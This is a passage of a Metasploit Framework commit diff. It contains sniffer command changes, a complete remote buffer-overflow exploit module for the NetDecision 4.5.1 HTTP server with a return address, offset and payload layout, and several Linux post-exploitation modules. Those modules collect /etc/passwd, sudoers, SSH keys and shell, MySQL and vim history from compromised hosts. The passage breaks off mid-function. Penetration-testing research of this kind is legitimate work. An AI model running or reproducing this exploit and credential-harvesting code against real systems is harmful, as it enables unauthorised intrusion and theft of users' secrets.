write_credentials("ssh_key",creds,report_file)
count = count_credentials("text",creds)
scount = creds.has_key?("text") ? creds["text"].size : 0
yield(:status, "start", "Plaintext Credential dump") if block_given?
report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [creds["text"].size, count]
report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [scount, count]
write_credentials("text",creds,report_file)
report_file.flush

View File

@ -59,7 +59,11 @@ class Sniffer < Extension
def capture_stop(intf)
request = Packet.create_request('sniffer_capture_stop')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
response = client.send_request(request)
response = client.send_request(request)
{
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
# Retrieve stats about a current capture
@ -72,6 +76,17 @@ class Sniffer < Extension
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
# Release packets from a current capture
def capture_release(intf)
request = Packet.create_request('sniffer_capture_release')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
response = client.send_request(request)
{
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
# Buffer the current capture to a readable buffer
def capture_dump(intf)

View File

@ -33,6 +33,7 @@ class Console::CommandDispatcher::Sniffer
"sniffer_stop" => "Stop packet capture on a specific interface",
"sniffer_stats" => "View statistics of an active capture",
"sniffer_dump" => "Retrieve captured packet data to PCAP file",
"sniffer_release" => "Free captured packets on a specific interface instead of downloading them",
}
end
@ -70,19 +71,21 @@ class Console::CommandDispatcher::Sniffer
end
def cmd_sniffer_stop(*args)
intf = args[0].to_i
intf = args[0].to_i
if (intf == 0)
print_error("Usage: sniffer_stop [interface-id]")
return
end
client.sniffer.capture_stop(intf)
res = client.sniffer.capture_stop(intf)
print_status("Capture stopped on interface #{intf}")
print_status("There are #{res[:packets]} packets (#{res[:bytes]} bytes) remaining")
print_status("Download or release them using 'sniffer_dump' or 'sniffer_release'")
return true
end
def cmd_sniffer_stats(*args)
intf = args[0].to_i
intf = args[0].to_i
if (intf == 0)
print_error("Usage: sniffer_stats [interface-id]")
return
@ -96,9 +99,22 @@ class Console::CommandDispatcher::Sniffer
return true
end
def cmd_sniffer_release(*args)
intf = args[0].to_i
if (intf == 0)
print_error("Usage: sniffer_stats [interface-id]")
return
end
res = client.sniffer.capture_release(intf)
print_status("Flushed #{res[:packets]} packets (#{res[:bytes]} bytes) from interface #{intf}")
return true
end
def cmd_sniffer_dump(*args)
intf = args[0].to_i
intf = args[0].to_i
if (intf == 0 or not args[1])
print_error("Usage: sniffer_dump [interface-id] [pcap-file]")
return

View File

@ -56,6 +56,7 @@ class Console::CommandDispatcher::Stdapi::Net
def commands
{
"ipconfig" => "Display interfaces",
"ifconfig" => "Display interfaces",
"route" => "View and modify the routing table",
"portfwd" => "Forward a local port to a remote service",
}
@ -83,6 +84,8 @@ class Console::CommandDispatcher::Stdapi::Net
end
end
alias :cmd_ifconfig :cmd_ipconfig
#
# Displays or modifies the routing table on the remote machine.
#

View File

@ -0,0 +1,92 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in NetDecision's HTTP service
(located in C:\Program Files\NetDecision\Bin\HttpSvr.exe). By supplying a
long string of data to the URL, an overflow may occur if the data gets handled
by HTTP Server's active window. In other words, in order to gain remote code
execution, the victim is probably looking at HttpSvr's window.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Prabhu S Angadi', #Discovery, DoS PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '79651'],
['URL', 'http://secunia.com/advisories/48168/'],
['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
],
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
},
'Platform' => 'win',
'Targets' =>
[
[
'NetDecision 4.5.1 on XP SP3',
{
# POP/POP/RET - OLEACC.dll
'Ret' => 0x74C869E2,
'Offset' => 1620
}
],
],
'Privileged' => false,
'DisclosureDate' => "Feb 24 2012",
'DefaultTarget' => 0))
end
def check
res = send_request_cgi({'uri'=>'/'})
banner = res.headers['Server']
if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
buf = "/"
buf << rand_text_alpha(675, payload_badchars)
buf << pattern_create(5) #Avoid TerminateProcess()
buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)
buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
buf << [target.ret].pack('V*')
buf << payload.encoded
buf << rand_text_alpha(8000-buf.length, payload_badchars)
print_status("#{rhost}:#{rport} - Sending #{self.name}...")
send_request_raw({
'method' => 'GET',
'uri' => buf
})
handler
end
end

View File

@ -1,79 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Cron Job Enumeration',
'Description' => %q{
This module lists cron jobs for each user on the machine and saves it to loot.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephen Haywood <averagesecurityguy[at]gmail.com>',
],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ "shell", "meterpreter" ]
))
end
# Run Method for when run command is issued
def run
if is_root?
print_status("Enumerating as root")
users = execute("/bin/cat /etc/passwd | cut -d : -f 1").split("\n")
cron_data = ""
users.each do |user|
cron_data += "*****Listing cron jobs for #{user}*****\n"
cron_data += execute("crontab -u #{user} -l") + "\n\n"
end
else
user = execute("/usr/bin/whoami")
user.strip! if user
print_status("Enumerating as #{user}")
cron_data = "***** Listing cron jobs for #{user} *****\n\n"
cron_data += execute("crontab -l")
end
# Save cron data to loot
save("Cron jobs", cron_data)
end
# Save enumerated data
def save(msg, data, ctype="text/plain")
ltype = "linux.enum.cron"
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
return output
end
end

View File

@ -1,237 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather System Information',
'Description' => %q{
This module gathers basic system information from Linux systems.
It enumerates users, hashes, services, network config, routing table, installed packages,
screenshot, and bash_history.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephen Haywood <averagesecurityguy[at]gmail.com>',
'sinn3r', #Modified the original, and more testing
'Carlos Perez <carlos_perez[at]darkoperator.com>' # get_packages and get_services
],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ "shell" ]
))
end
# Run Method for when run command is issued
def run
host = get_host
user = execute("/usr/bin/whoami")
print_status("Module running as #{user}")
# Collect data
distro = get_sysinfo
print_good("Info:")
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
print_status("Collecting data...")
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
nconfig = execute("/sbin/ifconfig -a")
routes = execute("/sbin/route")
mount = execute("/bin/mount -l")
iptables = execute("/sbin/iptables -L")
iptables_nat = execute("/sbin/iptables -L -t nat")
iptables_man = execute("/sbin/iptables -L -t mangle")
resolv = cat_file("/etc/resolv.conf")
sshd_conf = cat_file("/etc/ssh/sshd_config")
hosts = cat_file("/etc/hosts")
pwd = cat_file("/etc/passwd")
screenshot = get_screenshot
ssh_keys = get_ssh_keys
installed_pkg = get_packages(distro[:distro])
installed_svc = get_services(distro[:distro])
get_bash_history(users, user)
# Save Enumerated data
save("Screenshot", screenshot, "image/x-xwd") if screenshot
save("Linux version", distro)
save("User accounts", users)
save("Network config", nconfig)
save("Route table", routes)
save("Mounted drives", mount)
save("Firewall config", iptables + iptables_nat + iptables_man)
save("DNS config", resolv)
save("SSHD config", sshd_conf)
save("Host file", hosts)
save("SSH keys", ssh_keys) unless ssh_keys.empty?
save("Linux Installed Packages", installed_pkg)
save("Linux Configured Services", installed_svc)
end
# Save enumerated data
def save(msg, data, ctype="text/plain")
ltype = (ctype == 'image/x-xwd') ? "host.linux.screenshot" : "linux.enum"
vprint_status(msg)
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
# Get host name
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
return host
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
return output
end
def cat_file(filename)
vprint_status("Download: #{filename}")
output = read_file(filename)
return output
end
def get_screenshot
vprint_status("Capturing screenshot")
xwd_filename = "/tmp/" + Rex::Text.rand_text_alpha(5) + ".xwd"
#Take a snapshot and save it.
#We leave the conversion up to the user. Tools such as gimp can open this file format.
capture = execute("xwd -root -display :0.0 -out #{xwd_filename}")
return nil if capture =~ /Command not found/i or capture =~ /refused by server/
#Download the screenshot
xwd = read_file(xwd_filename)
#Clean up
execute("rm #{xwd_filename}")
return xwd
end
def get_ssh_keys
keys = []
#Look for .ssh folder, "~/" might not work everytime
dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
ssh_base = ''
dirs.each do |d|
if d =~ /(^\/)(.*)\.ssh$/
ssh_base = d
break
end
end
# We didn't find .ssh :-(
return [] if ssh_base == ''
# List all the files under .ssh/
files = execute("/bin/ls -a #{ssh_base}").chomp.split()
files.each do |k|
next if k =~/^(\.+)$/
this_key = cat_file("#{ssh_base}/#{k}")
keys << this_key
end
return keys
end
def get_bash_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting history for #{u}")
hist = cat_file("/root/.bash_history")
else
vprint_status("Extracting history for #{u}")
hist = cat_file("/home/#{u}/.bash_history")
end
save("History for #{u}", hist) unless hist =~ /No such file or directory/
end
else
vprint_status("Extracting history for #{user}")
hist = cat_file("/home/#{user}/.bash_history")
vprint_status(hist)
save("History for #{user}", hist) unless hist =~ /No such file or directory/
end
end
def get_packages(distro)
packages_installed = nil
if distro =~ /fedora|redhat|suse|mandrake|oracle/
packages_installed = cmd_exec("rpm -qa")
elsif distro =~ /slackware/
packages_installed = cmd_exec("ls /var/log/packages")
elsif distro =~ /ubuntu|debian/
packages_installed = cmd_exec("dpkg -l")
elsif distro =~ /gentoo/
packages_installed = cmd_exec("equery list")
elsif distro =~ /arch/
packages_installed = cmd_exec("/usr/bin/pacman -Q")
else
print_error("Could not determine package manager to get list of installed packages")
end
return packages_installed
end
def get_services(distro)
services_installed = ""
if distro =~ /fedora|redhat|suse|mandrake|oracle/
services_installed = cmd_exec("/sbin/chkconfig --list")
elsif distro =~ /slackware/
services_installed << "\nEnabled:\n*************************\n"
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'*$\'")
services_installed << "\n\nDisabled:\n*************************\n"
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
elsif distro =~ /ubuntu|debian/
services_installed = cmd_exec("/usr/bin/service --status-all")
elsif distro =~ /gentoo/
services_installed = cmd_exec("/bin/rc-status --all")
else
print_error("Could not determine the Linux Distribution to get list of configured services")
end
return services_installed
end
end

View File

@ -0,0 +1,146 @@
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Network Information',
'Description' => %q{
This module gathers network information from the target system
IPTables rules, interfaces, wireless information, open and listening
ports, active network connections, DNS information and SSH information.},
'License' => MSF_LICENSE,
'Author' =>
[
'ohdae <bindshell[at]live.com>', # minor additions, modifications & testing
'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux
],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
end
# Run Method for when run command is issued
def run
host = get_host
user = execute("/usr/bin/whoami")
print_status("Module running as #{user}")
# Collect data
distro = get_sysinfo
print_good("Info:")
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
print_status("Collecting data...")
nconfig = execute("/sbin/ifconfig -a")
routes = execute("/sbin/route -e")
iptables = execute("/sbin/iptables -L")
iptables_nat = execute("/sbin/iptables -L -t nat")
iptables_man = execute("/sbin/iptables -L -t mangle")
resolv = cat_file("/etc/resolv.conf")
sshd_conf = cat_file("/etc/ssh/sshd_config")
hosts = cat_file("/etc/hosts")
connections = execute("/usr/bin/lsof -nPi")
wireless = execute("/sbin/iwconfig")
open_ports = execute("/bin/netstat -tulpn")
updown = execute("ls -R /etc/network")
ssh_keys = get_ssh_keys
# Save Enumerated data
save("Network config", nconfig)
save("Route table", routes)
save("Firewall config", iptables + iptables_nat + iptables_man)
save("DNS config", resolv)
save("SSHD config", sshd_conf)
save("Host file", hosts)
save("SSH keys", ssh_keys) unless ssh_keys.empty?
save("Active connections", connections)
save("Wireless information", wireless)
save("Listening ports", open_ports)
save("If-Up/If-Down", updown)
end
# Save enumerated data
def save(msg, data, ctype="text/plain")
ltype = "linux.enum.network"
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
# Get host name
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
return host
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
return output
end
def cat_file(filename)
vprint_status("Download: #{filename}")
output = read_file(filename)
return output
end
def get_ssh_keys
keys = []
#Look for .ssh folder, "~/" might not work everytime
dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
ssh_base = ''
dirs.each do |d|
if d =~ /(^\/)(.*)\.ssh$/
ssh_base = d
break
end
end
# We didn't find .ssh :-(
return [] if ssh_base == ''
# List all the files under .ssh/
files = execute("/bin/ls -a #{ssh_base}").chomp.split()
files.each do |k|
next if k =~/^(\.+)$/
this_key = cat_file("#{ssh_base}/#{k}")
keys << this_key
end
return keys
end
end

View File

@ -1,77 +0,0 @@
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Installed Packages',
'Description' => %q{ Post Module to get installed packages on a Linux System},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
end
# Run Method for when run command is issued
def run
distro = get_sysinfo
store_loot("linux.version", "text/plain", session, "Distro: #{distro[:distro]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", "linux_info.txt", "Linux Version")
# Print the info
print_good("Info:")
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
installed_pkg = get_pakages(distro[:distro])
pkg_loot = store_loot("linux.packages", "text/plain", session, installed_pkg, "installed_packages.txt", "Linux Installed Packages")
print_status("Package list saved to loot file: #{pkg_loot}")
if datastore['VERBOSE']
print_good("Packages:")
# Print the Packages
installed_pkg.each_line do |p|
print_good("\t#{p.chomp}")
end
end
end
def get_pakages(distro)
packages_installed = nil
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
packages_installed = cmd_exec("rpm -qa")
elsif distro =~ /slackware/
packages_installed = cmd_exec("ls /var/log/packages")
elsif distro =~ /ubuntu|debian/
packages_installed = cmd_exec("dpkg -l")
elsif distro =~ /gentoo/
packages_installed = cmd_exec("equery list")
elsif distro =~ /arch/
packages_installed = cmd_exec("/usr/bin/pacman -Q")
else
print_error("Could not determine package manager to get list of installed packages")
end
return packages_installed
end
end

View File

@ -1,81 +0,0 @@
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Configured Services',
'Description' => %q{ Post Module to enumerate Services on a Linux System},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
end
# Run Method for when run command is issued
def run
distro = get_sysinfo
store_loot("linux.version", "text/plain", session, "Distro: #{distro[:distro]}, Version: #{distro[:version]}, Kernel: #{distro[:kernel]}", "linux_info.txt", "Linux Version")
# Print the info
print_good("Info:")
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
installed_pkg = get_services(distro[:distro])
pkg_loot = store_loot("linux.services", "text/plain", session, installed_pkg, "configured_services.txt", "Linux Configured Services")
print_status("Service list saved to loot file: #{pkg_loot}")
if datastore['VERBOSE']
print_good("Services:")
# Print the Packages
installed_pkg.each_line do |p|
print_good("\t#{p.chomp}")
end
end
end
def get_services(distro)
services_installed = ""
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
services_installed = cmd_exec("/sbin/chkconfig --list")
elsif distro =~ /slackware/
services_installed << "\nEnabled:\n*************************\n"
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'*$\'")
services_installed << "\n\nDisabled:\n*************************\n"
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
elsif distro =~ /ubuntu|debian/
services_installed = cmd_exec("/usr/bin/service --status-all")
elsif distro =~ /gentoo/
services_installed = cmd_exec("/bin/rc-status --all")
elsif distro =~ /arch/
services_installed = cmd_exec("/bin/egrep '^DAEMONS' /etc/rc.conf")
else
print_error("Could not determine the Linux Distribution to get list of configured services")
end
return services_installed
end
end

View File

@ -0,0 +1,174 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
require 'msf/core/post/linux/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather System and User Information',
'Description' => %q{
This module gathers system information. We collect
installed packages, installed services, mount information,
user list, user bash history and cron jobs
},
'License' => MSF_LICENSE,
'Author' =>
[
'Carlos Perez <carlos_perez[at]darkoperator.com>', # get_packages and get_services
'Stephen Haywood <averagesecurityguy[at]gmail.com>', # get_cron and original enum_linux
'sinn3r', # Testing and modification of original enum_linux
'ohdae <bindshell[at]live.com>', # Combined separate mods, modifications and testing
],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
end
def run
distro = get_sysinfo
store_loot(
"linux.version",
"text/plain",
session,
"Distro: #{distro[:distro]},Version: #{distro[:version]}, Kernel: #{distro[:kernel]}",
"linux_info.txt",
"Linux Version")
# Print the info
print_good("Info:")
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
user = execute("/usr/bin/whoami")
installed_pkg = get_packages(distro[:distro])
installed_svc = get_services(distro[:distro])
mount = execute("/bin/mount -l")
crons = get_crons(users, user)
diskspace = execute("/bin/df -ahT")
disks = (mount +"\n\/"+ diskspace)
save("Linux version", distro)
save("User accounts", users)
save("Installed Packages", installed_pkg)
save("Running Services", installed_svc)
save("Cron jobs", crons)
save("Disk info", disks)
end
def save(msg, data, ctype="text/plain")
ltype = "linux.enum.system"
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
return host
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
return output
end
def cat_file(filename)
vprint_status("Download: #{filename}")
output = read_file(filename)
return output
end
def get_packages(distro)
packages_installed = nil
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
packages_installed = execute("rpm -qa")
elsif distro =~ /slackware/
packages_installed = execute("ls /var/log/packages")
elsif distro =~ /ubuntu|debian/
packages_installed = execute("dpkg -l")
elsif distro =~ /gentoo/
packages_installed = execute("equery list")
elsif distro =~ /arch/
packages_installed = execute("/usr/bin/pacman -Q")
else
print_error("Could not determine package manager to get list of installed packages")
end
return packages_installed
end
def get_services(distro)
services_installed = ""
if distro =~ /fedora|redhat|suse|mandrake|oracle|amazon/
services_installed = execute("/sbin/chkconfig --list")
elsif distro =~ /slackware/
services_installed << "\nEnabled:\n*************************\n"
services_installed << execute("ls -F /etc/rc.d | /bin/grep \'*$\'")
services_installed << "\n\nDisabled:\n*************************\n"
services_installed << execute("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
elsif distro =~ /ubuntu|debian/
services_installed = execute("/usr/bin/service --status-all")
elsif distro =~ /gentoo/
services_installed = execute("/bin/rc-status --all")
elsif distro =~ /arch/
services_installed = execute("/bin/egrep '^DAEMONS' /etc/rc.conf")
else
print_error("Could not determine the Linux Distribution to get list of configured services")
end
return services_installed
end
def get_crons(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Enumerating as root")
cron_data = ""
users.each do |u|
cron_data += "*****Listing cron jobs for #{u}*****\n"
cron_data += execute("crontab -u #{u} -l") + "\n\n"
end
end
end
else
vprint_status("Enumerating as #{user}")
cron_data = "***** Listing cron jobs for #{user} *****\n\n"
cron_data += execute("crontab -l")
end
# Save cron data to loot
return cron_data
end
end

View File

@ -0,0 +1,161 @@
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
require 'msf/core/post/linux/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Linux User Information',
'Description' => %q{ This module gathers user specific information.
User list, bash history, mysql history, vim history,
lastlog and sudoers.
},
'License' => MSF_LICENSE,
'Author' => [
'ohdae <bindshell@live.com>' # based largely on get_bash_history function by Stephen Haywood
],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
end
def run
distro = get_sysinfo
print_good("Info:")
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
user = execute("/usr/bin/whoami")
mount = execute("/bin/mount -l")
get_bash_history(users, user)
get_sql_history(users, user)
get_vim_history(users, user)
last = execute("/usr/bin/last && /usr/bin/lastlog")
sudoers = cat_file("/etc/sudoers")
save("Last logs", last)
save("Sudoers", sudoers) unless sudoers =~ /Permission denied/
end
def save(msg, data, ctype="text/plain")
ltype = "linux.enum.users"
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
return host
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
return output
end
def cat_file(filename)
vprint_status("Download: #{filename}")
output = read_file(filename)
return output
end
def get_bash_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting history for #{u}")
hist = cat_file("/root/.bash_history")
else
vprint_status("Extracting history for #{u}")
hist = cat_file("/home/#{u}/.bash_history")
end
save("History for #{u}", hist) unless hist =~ /No such file or directory/
end
else
vprint_status("Extracting history for #{user}")
hist = cat_file("/home/#{user}/.bash_history")
vprint_status(hist)
save("History for #{user}", hist) unless hist =~ /No such file or directory/
end
end
def get_sql_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/root/.mysql_history")
else
vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/home/#{u}/.mysql_history")
end
save("History for #{u}", hist) unless sql_hist =~ /No such file or directory/
end
else
vprint_status("Extracting SQL history for #{user}")
sql_hist = cat_file("/home/#{user}/.mysql_history")
vprint_status(sql_hist)
save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/
end
end
def get_vim_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/root/.viminfo")
else
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/home/#{u}/.viminfo")
end
save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/
end
else
vprint_status("Extracting history for #{user}")
vim_hist = cat_file("/home/#{user}/.viminfo")
vprint_status(vim_hist)
save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/
end
end
end

View File

@ -0,0 +1,160 @@
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/system'
require 'msf/core/post/linux/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather User History',
'Description' => %q{
This module gathers user specific information.
User list, bash history, mysql history, vim history,
lastlog and sudoers.
},
'License' => MSF_LICENSE,
'Author' =>
[
# based largely on get_bash_history function by Stephen Haywood
'ohdae <bindshell[at]live.com>'
],
'Version' => '$Revision$',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell' ]
))
end
def run
distro = get_sysinfo
print_good("Info:")
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
user = execute("/usr/bin/whoami")
mount = execute("/bin/mount -l")
get_bash_history(users, user)
get_sql_history(users, user)
get_vim_history(users, user)
last = execute("/usr/bin/last && /usr/bin/lastlog")
sudoers = cat_file("/etc/sudoers")
save("Last logs", last)
save("Sudoers", sudoers) unless sudoers =~ /Permission denied/
end
def save(msg, data, ctype="text/plain")
ltype = "linux.enum.users"
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
return host
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
return output
end
def cat_file(filename)
vprint_status("Download: #{filename}")
output = read_file(filename)
return output
end
def get_bash_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting history for #{u}")
hist = cat_file("/root/.bash_history")
else
vprint_status("Extracting history for #{u}")
hist = cat_file("/home/#{u}/.bash_history")
end
save("History for #{u}", hist) unless hist =~ /No such file or directory/
end
else
vprint_status("Extracting history for #{user}")
hist = cat_file("/home/#{user}/.bash_history")
vprint_status(hist)
save("History for #{user}", hist) unless hist =~ /No such file or directory/
end
end
def get_sql_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
